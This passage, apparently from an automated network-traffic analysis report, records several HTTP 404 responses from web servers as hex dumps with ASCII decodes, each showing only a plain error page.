0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 65 65 3b 0d 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0d 0a 09 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 34 30 34 e9 94 9b e5 b1 be e5 81 8d e7 92 87 e9 94 8b e7 9c b0 e9 90 a8 e5 8b ac e6 9e 83 e6 b5 a0 e6 9c b5 e7 ac 89 e7 80 9b e6 a8 ba e6 b9 aa 21 3c 2f 68 33 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 24 Oct 2024 13:18:11 GMTContent-Type: text/htmlContent-Length: 520Connection: closeETag: "6632e438-208"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 65 65 3b 0d 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0d 0a 09 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 34 30 34 e9 94 9b e5 b1 be e5 81 8d e7 92 87 e9 94 8b e7 9c b0 e9 90 a8 e5 8b ac e6 9e 83 e6 b5 a0 e6 9c b5 e7 ac 89 e7 80 9b e6 a8 ba e6 b9 aa 21 3c 2f 68 33 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:17 GMTServer: ApacheX-Powered-By: PHP/8.2.23Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 37 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 68 5f 54 48 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:20 GMTServer: ApacheX-Powered-By: PHP/8.2.23Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 37 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 68 5f 54 48 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:22 GMTServer: ApacheX-Powered-By: PHP/8.2.23Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 37 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 68 5f 54 48 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:25 GMTServer: ApacheX-Powered-By: PHP/8.2.23Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 37 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 68 5f 54 48 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 63 6f 62 61 31 36 38 20 e0 b8 aa e0 b8 a5 e0 b9 87 e0 b8 ad e0 b8 95 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 a3 e0 b8 a7 e0 b8 a1 e0 b9 80 e0 b8 81 e0 b8 a1 e0 b8 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:45 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:47 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 